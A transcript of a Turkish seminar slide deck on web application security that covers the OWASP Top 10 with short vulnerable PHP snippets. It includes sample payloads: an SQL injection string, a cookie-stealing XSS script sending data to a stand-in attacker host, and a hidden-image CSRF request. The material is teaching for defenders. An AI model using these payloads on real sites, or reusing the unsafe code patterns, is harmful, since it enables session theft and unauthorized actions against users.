Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Web Uygulamalarında Güvenlik

Web Uygulamalarında Güvenlik

Bilkent Özgür Yazılım ve İnternet Teknolojileri Kulübü Siber Güvenlik Seminerleri

Hidayet Doğan

November 29, 2013
Tweet

More Decks by Hidayet Doğan

Other Decks in Programming

Transcript

  1. Hurafeler • “POST” metod daha güvenlidir hacı. • “hidden” input

    kimse tarafından görüntülenemez. • Kodu bir tek ben görüyorum, benden başka kimse neyin nasıl olduğunu tahmin edemez.
  2. Artizlik • Benim işim değil, (sistemcini|veritabancını)n işi. • Ben biliyom,

    en çok ben bilirim, en çok bana soracaksınız. Şurdan şöyle girdiler sisteme.
  3. Cahil Cesareti / WTF? • Hızlı ve güvenilir ASP(döt)NET kullanılacak.

    • Microfart $QL kullansaydık böyle olmazdı.
  4. Ne gerek var? • Saldırıların %70’i altyapıya değil uygulamaya yapılıyor.

    (Gartner) • DDoS saldırılarının %25’i uygulamaya yapılıyor. (Gartner) • Kurumların %73’ü 2 yıl içinde en az 1 defa, web uygulamaları üzerinden “hack”leniyor. (Phonemon Institute) • Altyapıda/ağda yapılacak çözümler uygulamaya saldırı yapılmayacak anlamına gelmez.
  5. Oku, Tanı, Takip Et • RTFM! • Çalıştığın ortam (veritabanı,

    web sunucusu, işletim sistemi) • Kullandığın kütüphaneler • Yeni birşey var mı? Neyi düzeltmişler?
  6. OWASP İlk 10 • Enjeksiyon, sızma (Injection) • Bozuk kimlik

    doğrulama ve oturum yönetimi (Broken Authentication / Session) • Cross-Site Scripting (XSS) • Güvenlik önlemsiz doğrudan erişim (Insecure Direct Object Reference) • Hatalı güvenlik ayarları (Security Misconfiguration) • Hassas verilerin ortada bırakılması (Sensitive Data Exposure) • Eksik (işlev bazlı) erişim kontrolü (Missing Access Control) • Cross-Site Request Forgery (CSRF) • Zafiyetleri bilinen bileşenleri kullanmak • Kontrolsüz yönlendirmeler (Unvalidated Redirects / Forwards)
  7. Enjeksiyon (Injection) • Hedef yorumlayıcı içine sızma. • En yaygını

    SQL Injection. • Ziyaretçiden gelen veriyi süzmemek. <?php $query = “SELECT * FROM kayitlar WHERE kayit_no = ‘ “ . $_GET[‘kayit_no'] . “ ‘ “; ?> http://ornek.com/kayit-goster.php?kayit_no=' OR ‘1’ = ‘1
  8. Bozuk Kimlik Doğrulama ve Oturum Yönetimi (Broken Authentication / Session)

    • Parolaları veritabanında kabak gibi açıkta tutmak. • Zayıf kimlik yönetimi. • Adres satırından oturum kimliği iletmek. • Zaman aşımsız oturum yönetimi. http://ornek.com/benim_hesabim.php? SESSIONID=4950ce77b4b73ca33c32e7dc5b8a3e9e
  9. Cross-Site Scripting (XSS) • Ziyaretçiden gelen verinin güvenilir olduğunu sanmak.

    • En yaygını JavaScript kodları göndermek. <input type="text" name="ad_soyad" value="<?php echo $ad_soyad; ?>"> "><script>document.location='http://lAmErbOyZ.kom/oh-yeah.jsp? veriler='+document.cookie;</script>
  10. Güvenlik Önlemsiz Doğrudan Erişim (Insecure Direct Object Reference) • Sadece

    kullanıcıdan gelen veri ile hareket etmek. • Talep edilen veri gerçekten ziyaretçiye mi ait? <?php $query = "SELECT * FROM sepetler WHERE hesap_no = " . intval($_GET['hesap_no']); ?> http://ornek.com/alisveris_sepetim.php?hesap_no=123
  11. Hatalı Güvenlik Ayarları (Security Misconfiguration) • Güncel olmayan sürümlerin kullanılması

    • Gereksiz (kullanılmayan) özelliklerin açık bırakılması • Öntanımlı hesapların, parolaların bırakılması • Hata, ayıklama (debug) raporlarının ziyaretçiler tarafından görünür olarak bırakılması
  12. Hassas Verilerin Ortada Bırakılması (Sensitive Data Exposure) • Hassas verileri

    açık şekilde aktarmak, saklamak. • Eski / dandik şifreleme algoritlamaları kullanmak.
  13. Cross-Site Request Forgery (CSRF) • Ziyaretçiyi taklit etmek. • Ziyaretçiden

    habersiz direktifler göndermek. <img src=“http://ornek.com/bitcoin_aktar.php? kimden=Engür& kime=lAmErbOyZ& miktar=8" width="0" height="0">
  14. Zafiyetleri Bilinen Bileşenler Kullanmak • Eceli gelen köpüş cami duvarına

    … • A: Güncelleme geldi sahip.
 B: Önemli birşey yoktur, yarın bakarım. • Genellikle otomatik tarayıcılar sizi gelir bulur. • Takip Et: Common Vulnerabilities and Exposures (CVE) • http://cve.mitre.org
  15. Kontrolsüz Yönlendirmeler (Unvalidated Redirects / Forwards) • Ziyaretçiler gerçekten tahmin

    ettiğin gibi senin uygulaman içinde bir yere mi yönlendiriliyorlar? <?php if ($giris == 'tamam') { header("Location: $adres"); } ?>